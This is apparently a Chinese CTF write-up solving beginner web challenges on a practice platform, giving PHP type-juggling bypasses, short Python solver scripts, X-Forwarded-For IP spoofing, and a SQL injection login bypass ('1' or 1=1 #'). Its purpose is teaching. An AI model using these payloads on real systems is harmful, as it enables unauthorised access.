CTF论剑场web篇

web26

php代码审计,emmm,上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
$num=$_GET['num'];
$str=$_GET['str'];
show_source(__FILE__);
if (isset($num)&&isset($str)) {
if (preg_match('/\d+/sD',$str)) {
echo "vagetable hhhh";
exit();
}
$result=is_numeric($num) and is_numeric($str);
if ($result) {
include "flag.php";
echo "$flag";
}
else{
echo "vagetablessssss";
}
}
?>

根据代码可以知道脚本判断用户提交的str和num是否为数字,如果是就提供flag。
可是在判断str为数字之前,先对其进行了正则匹配,这可咋办。
2333,直接利用万能的php无法处理上传数组的情况绕过它。
构造payload
?str[]=123&num=123
得到答案

web1

一样是php代码审计
php_code
这道题其实很简单,先说一下最简解法,再来讲讲我的错误思路,以供大家反思。
由于file_get_contents(ssAEDsssss),八成服务器里没有这个文件,所以该函数会返回False,也就是变量$c=False。又由于是==,为弱比较,直接令$a=NULL即可,因为NULL==False。
构造payload
?a=
就行了!

再说一下网上的wp,都说要利用extract函数来覆盖$b变量,也没有解释为什么。覆盖$b主要是为了保证$b是一个服务器上没有的文件,从而保证file_get_contents的返回值一定为False,从而得到结果。

最后来谈谈我的睿智操作,我主要是被file_get_contents函数误导了,认为它必须要输出一个字符串,然后构造$a与之相等,于是我构造了一个这样的payload ?$a=abc&$b=php://input 利用php协议给$b赋值为文件,可是这样根本行不通啊,file_get_contents函数传参是文件名,而我传的是文件,肯定错的啊。所以就卡住了,哭泣。

web2

一道利用脚本上传数据的题目,先用正则匹配出html中的算式,然后计算出结果,post给服务器得到答案。
要注意使用request.session,要不然两次请求之间没有关系,两次请求相当于刷新了。
另外由于这题以前做过,所以脚本正则写的很丑陋,勿喷。
上payload

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import re
url = 'http://123.206.31.85:10002/'
c = requests.session()
response = c.get(url)
a = response.text
a = re.findall('[(]*[0-9]+.*[)]*', a)
a = a[0].replace('</p>','')
print(a)
print(eval(a))
b = eval(a)
response = c.post(url, data={'result': b})
print(response.text)

流量审计

第一次,理所当然用文本查看,结果没有flag,接着继续审计,因为自己不太会使用wireshark,所以做的很差,其实直接追踪它的TCP流就能看到整个流量包是在实行一个远程登录操作(OICQ远程???)
而我是慢慢肉眼审计,在TELNET协议里发现了flag。
orz,感觉得花时间学习一下wireshark了。

web6

查看源码发现注释里有一串base64编码,解码为test123,猜测是密码,因为是管理员系统,再猜测账号为admin,登录,需要本地IP登录。利用IP伪造X-Forwarded-For登录(IP伪造可看我的文章),爆出flag。

web11

查看源码,发现title提示robots,访问网站的/robots.txt文件(robots不懂的自行百度Goolge),发现可以访问shell.php,简单爆破出md5加密原值就能获得flag
上payload(很丑)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re
import hashlib

url = 'http://123.206.31.85:3030/shell.php'
c = requests.session()
response = c.get(url)
a = response.text
a = re.findall('[0-9a-z]+', a)[15]
print(a)
i = 1
while 1:
md5 = hashlib.md5()
md5.update(str(i).encode('utf-8'))
ans = md5.hexdigest()
ans = ans[0:6]
if ans == a:
print(i)
break
else:
i+=1
response = c.get(url, params={'password':str(i)})
print(response.text)

web13

每次做题目都会忘记查看header的提示,header,header,header!重要的事情说三遍。
用burp抓包,发现返回包头里有一个password参数,用base64解码,得到一个flag,尝试提交,失败。然后尝试提交给服务器,依旧失败,去掉flag{}后再次提交,成功,结果告知太慢,那就只能写脚本了。
payload

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import base64

url = 'http://123.206.31.85:10013/index.php'
c = requests.session()
response = c.get(url)
a = response.headers['Password']
a = str(base64.b64decode(a))
a = a[7:-2]
print(a)
response = c.post(url, data={'password': a})
print(response.text)

日志审计

比较简单,就是有点伤眼睛。
一个访问记录日志,查找状态为200日志,找到了一串sql injection的url,直接ASCII转换就是结果。

web4

简单的sql注入题
直接使用万能密码就能注入,账号admin,密码1’ or 1=1 #

web9

题目叫我们PUT一个数据,那我们就PUT呗。
用POSTman直接可以PUT,返回base64串,解密得到答案。